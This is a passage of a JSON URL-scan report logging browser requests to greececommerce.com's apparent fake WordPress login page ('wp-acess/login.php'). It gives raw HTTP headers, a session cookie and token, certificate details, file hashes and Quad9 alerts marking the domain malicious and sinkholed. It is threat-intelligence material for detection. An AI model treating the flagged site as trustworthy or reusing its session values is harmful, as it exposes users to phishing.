DNS","scan_date":"2026-08-23","alert":"Sinkholed","trigger":"greececommerce.com","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null}],"urlquery":null}},{"url":{"schema":"https","addr":"greececommerce.com/wp-acess/res/img/pic.jpg","fqdn":"greececommerce.com","domain":"greececommerce.com","tld":"com"},"ip":{"addr":"217.160.0.18","port":443,"asn":8560,"as":"IONOS SE","country":"Germany","country_code":"DE"},"is_navigation_request":false,"resource_type":"img","requested_by":"https://greececommerce.com/wp-acess/login.php","date":"2026-08-23T15:17:38.975Z","timestamp":1787498258975,"http_version":"HTTP/2","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_256_GCM_SHA384","key_group_name":"x25519","signature_name":"RSA-PSS-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"greececommerce.com","organization":""},"issuer":{"commonName":"Sectigo Public Server Authentication CA DV R36","organization":"Sectigo Limited"},"validity":{"start":"Fri, 14 Aug 2026 00:00:00 GMT","end":"Wed, 10 Feb 2027 23:59:59 GMT"},"fingerprint":{"sha1":"DD:8C:C2:06:E0:7E:B2:B2:AB:38:B9:3F:9A:47:78:D8:A6:68:22:68","sha256":"74:DA:BB:1D:3C:95:EB:2B:A5:10:8D:7E:51:1C:93:2B:31:CC:DA:CA:43:7E:83:D7:CC:B1:03:8B:92:F1:EE:23"}}},"request":{"raw":"GET /wp-acess/res/img/pic.jpg HTTP/1.1\r\nHost: greececommerce.com\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: image/avif,image/webp,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nReferer: https://greececommerce.com/wp-acess/res/app.css\r\nCookie: PHPSESSID=4bff90604be0888cbc4fa825eb75850c; token=dg5VQANGeW9WcE0MGApeKjINDDUPB2cXYjQSdRQBeVd2CwAPFighPCQucTQCNg%3D%3D%3A1%3A0%3A0\r\nSec-Fetch-Dest: image\r\nSec-Fetch-Mode: no-cors\r\nSec-Fetch-Site: same-origin\r\nPriority: u=4, i\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"GET"},"response":{"raw":"HTTP/2 200 \r\ncontent-type: image/jpeg\r\ncontent-length: 200933\r\nx-ws-origin: available\r\nx-ws-ratelimit-limit: 1000\r\nx-ws-ratelimit-remaining: 992\r\nserver: Apache\r\naccept-ranges: bytes\r\ndate: Sun, 23 Aug 2026 15:17:38 GMT\r\nvary: Cookie\r\netag: \"310e5-658c9b369f380\"\r\nlast-modified: Tue, 11 Aug 2026 18:33:02 GMT\r\nX-Firefox-Spdy: h2\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"OK","fingerprints":[{"name":"Apache HTTP Server","description":"Apache is a free and open-source cross-platform web server software.","website":"https://httpd.apache.org/","common_platform_enumeration":"cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*","icon":"Apache.svg","categories":["Web servers"]}],"data":{"size":200933,"size_decoded":201265,"mime_type":"image/jpeg","magic":"JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1563x1198, components 3","md5":"0f80ca4a78ce3af79ad01923484e0a5b","sha1":"fac97c21d7965e9ac6950844123fd5f65b8f0a77","sha256":"58a037c0bde953b48561826f3df16031f7ddfce33c4018619d3f39c6af6eec1b","sha512":"f3e0ddf9685e0ef455bacd6691805d45e08a3377c23105e3cc0adb3ad1e31d8ef84fac8eab3762ce19ce4c77692be967d0ab8463678a1bc26e2489d71866d5e9","ssdeep":"3072:I18uz9aobkEofvj340bjX0glkFFSa2JWarVH7p4LDZVO8cIin9YxDie+:I1bRpMvs0iOWEVHl8rnin9Yhx+","tlshash":"351412b2eba666e2d063103ec1389172b4ce49bcda0dd21f0504aee756b75ff5a1702d","first_seen":"2023-05-09T01:15:49Z","last_seen":"2026-08-23T15:18:12.717058Z","times_seen":839,"resource_available":false,"data":null}},"time_used":204,"timings":{"blocked":0,"dns":0,"connect":0,"send":0,"wait":153,"receive":51,"ssl":0},"alerts":{"ids":null,"analyzer":[{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-08-23","alert":"Sinkholed","trigger":"greececommerce.com","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null}],"urlquery":null}},{"url":{"schema":"https","addr":"greececommerce.com/favicon.ico","fqdn":"greececommerce.com","domain":"greececommerce.com","tld":"com"},"ip":{"addr":"217.160.0.18","port":443,"asn":8560,"as":"IONOS SE","country":"Germany","country_code":"DE"},"is_navigation_request":false,"resource_type":"img","requested_by":"https://greececommerce.com/wp-acess/login.php","date":"2026-08-23T15:17:39.190Z","timestamp":1787498259190,"http_version":"HTTP/2","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_256_GCM_SHA384","key_group_name":"x25519","signature_name":"RSA-PSS-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"greececommerce.com","organization":""},"issuer":{"commonName":"Sectigo Public Server Authentication CA DV R36","organization":"Sectigo Limited"},"validity":{"start":"Fri, 14 Aug 2026 00:00:00 GMT","end":"Wed, 10 Feb 2027 23:59:59 GMT"},"fingerprint":{"sha1":"DD:8C:C2:06:E0:7E:B2:B2:AB:38:B9:3F:9A:47:78:D8:A6:68:22:68","sha256":"74:DA:BB:1D:3C:95:EB:2B:A5:10:8D:7E:51:1C:93:2B:31:CC:DA:CA:43:7E:83:D7:CC:B1:03:8B:92:F1:EE:23"}}},"request":{"raw":"GET /favicon.ico HTTP/1.1\r\nHost: greececommerce.com\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: image/avif,image/webp,image/png,image/svg+xml,image/*;q=0.8,*/*;q=0.5\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nReferer: https://greececommerce.com/wp-acess/login.php\r\nCookie: PHPSESSID=4bff90604be0888cbc4fa825eb75850c; token=dg5VQANGeW9WcE0MGApeKjINDDUPB2cXYjQSdRQBeVd2CwAPFighPCQucTQCNg%3D%3D%3A1%3A0%3A0\r\nSec-Fetch-Dest: image\r\nSec-Fetch-Mode: no-cors\r\nSec-Fetch-Site: same-origin\r\nPriority: u=6\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"GET"},"response":{"raw":"HTTP/2 200 \r\ncontent-type: text/html; charset=UTF-8\r\nx-ws-origin: available\r\nx-ws-ratelimit-limit: 1000\r\nx-ws-ratelimit-remaining: 990\r\nserver: Apache\r\ndate: Sun, 23 Aug 2026 15:17:39 GMT\r\nexpires: Thu, 19 Nov 1981 08:52:00 GMT\r\nvary: Cookie\r\npragma: no-cache\r\ncache-control: no-store, no-cache, must-revalidate\r\ncontent-encoding: gzip\r\nX-Firefox-Spdy: h2\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"OK","fingerprints":[{"name":"Apache HTTP Server","description":"Apache is a free and open-source cross-platform web server software.","website":"https://httpd.apache.org/","common_platform_enumeration":"cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*","icon":"Apache.svg","categories":["Web servers"]}],"data":{"size":77,"size_decoded":450,"mime_type":"text/html; charset=UTF-8","magic":"HTML document, ASCII text, with no line terminators","md5":"f26f61390d902b671ddc389d7fd0a5de","sha1":"811322c803e964f74152981a9747a22a31dfdc07","sha256":"235d100d6584abaa4128e0679d5dfdc0f4b2bfc8f378ca9a1297869be156d063","sha512":"e02762b0ff6365bff01845dc460d5b299eb258259b123d71e55ae70076b3cc76d60f9c6c23d1e0623dad84b467e62e1e9c62eb5d570c5b9baed43e3b9a29cb58","ssdeep":"","tlshash":"64a024401f40dc0403404f177470c05c3c5100cd140fd411004c30d404441c74d37c31","first_seen":"2025-07-20T11:01:53.00162Z","last_seen":"2026-08-23T15:18:12.718072Z","times_seen":32,"resource_available":true,"data":null}},"time_used":218,"timings":{"blocked":0,"dns":0,"connect":0,"send":0,"wait":218,"receive":0,"ssl":0},"alerts":{"ids":null,"analyzer":[{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-08-23","alert":"Sinkholed","trigger":"greececommerce.com","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null}],"urlquery":null}},{"url":{"schema":"https","addr":"greececommerce.com/wp-acess/login.php?read_config=1\u00261787498259188","fqdn":"greececommerce.com","domain":"greececommerce.com","tld":"com"},"ip":{"addr":"217.160.0.18","port":443,"asn":8560,"as":"IONOS SE","country":"Germany","country_code":"DE"},"is_navigation_request":false,"resource_type":"fetch","requested_by":"https://greececommerce.com/wp-acess/login.php","date":"2026-08-23T15:17:39.191Z","timestamp":1787498259191,"http_version":"HTTP/2","security_state":"secure","security_info":{"cipher_suite":"TLS_AES_256_GCM_SHA384","key_group_name":"x25519","signature_name":"RSA-PSS-SHA256","protocol":"TLSv1.3","cert":{"subject":{"commonName":"greececommerce.com","organization":""},"issuer":{"commonName":"Sectigo Public Server Authentication CA DV R36","organization":"Sectigo Limited"},"validity":{"start":"Fri, 14 Aug 2026 00:00:00 GMT","end":"Wed, 10 Feb 2027 23:59:59 GMT"},"fingerprint":{"sha1":"DD:8C:C2:06:E0:7E:B2:B2:AB:38:B9:3F:9A:47:78:D8:A6:68:22:68","sha256":"74:DA:BB:1D:3C:95:EB:2B:A5:10:8D:7E:51:1C:93:2B:31:CC:DA:CA:43:7E:83:D7:CC:B1:03:8B:92:F1:EE:23"}}},"request":{"raw":"GET /wp-acess/login.php?read_config=1\u00261787498259188 HTTP/1.1\r\nHost: greececommerce.com\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.9\r\nAccept-Encoding: gzip, deflate, br, zstd\r\nReferer: https://greececommerce.com/wp-acess/login.php\r\nSec-GPC: 1\r\nConnection: keep-alive\r\nCookie: PHPSESSID=4bff90604be0888cbc4fa825eb75850c; token=dg5VQANGeW9WcE0MGApeKjINDDUPB2cXYjQSdRQBeVd2CwAPFighPCQucTQCNg%3D%3D%3A1%3A0%3A0\r\nSec-Fetch-Dest: empty\r\nSec-Fetch-Mode: cors\r\nSec-Fetch-Site: same-origin\r\nPriority: u=4\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n\r\n","headers":null,"cookies":null,"method":"GET"},"response":{"raw":"HTTP/2 200 \r\ncontent-type: text/plain;charset=UTF-8\r\nx-ws-origin: available\r\nx-ws-ratelimit-limit: 1000\r\nx-ws-ratelimit-remaining: 989\r\nserver: Apache\r\ndate: Sun, 23 Aug 2026 15:17:39 GMT\r\nvary: Cookie\r\nX-Firefox-Spdy: h2\r\n\r\n","headers":null,"cookies":null,"status_code":"200","status_text":"OK","fingerprints":[{"name":"Apache HTTP Server","description":"Apache is a free and open-source cross-platform web server software.","website":"https://httpd.apache.org/","common_platform_enumeration":"cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*","icon":"Apache.svg","categories":["Web servers"]}],"data":{"size":230,"size_decoded":455,"mime_type":"text/plain; charset=UTF-8","magic":"PHP script, ASCII text, with CRLF line terminators","md5":"86ee55b548ffe8434b7f436b0d38ae99","sha1":"0ec4df1217c8e9493f295c45c6e95e52d3f2aed1","sha256":"2e5fd2b4603aa85a29cf21bef64d5739ca731ecd1bc2dc2cd9cb797e68502c7e","sha512":"9e548954f100d503d9bebbd1a6b7ab62688bda5be6457f3f9a7feac5214e8f6849ebe9b7d459a84c59eb5da5e16dc9b8c05b7b243bcb4786104192f0edf2c994","ssdeep":"","tlshash":"a8d0236d4d9370ef0bd9cd4996121ed0945074ecc900264af021d7e5603c79cddd407f","first_seen":"2026-08-22T06:10:46.309497Z","last_seen":"2026-08-23T15:18:12.718978Z","times_seen":8,"resource_available":false,"data":null}},"time_used":35,"timings":{"blocked":0,"dns":0,"connect":0,"send":0,"wait":35,"receive":0,"ssl":0},"alerts":{"ids":null,"analyzer":[{"sensor_name":"quad9","sensor_type":"DNS","title":"Quad9 DNS","description":"Quad9 DNS","scan_date":"2026-08-23","alert":"Sinkholed","trigger":"greececommerce.com","verdict":"malicious","severity":"medium","comment":"Sinkholed in DNS","link":"https://www.quad9.net","meta":null}],"urlquery":null}}]}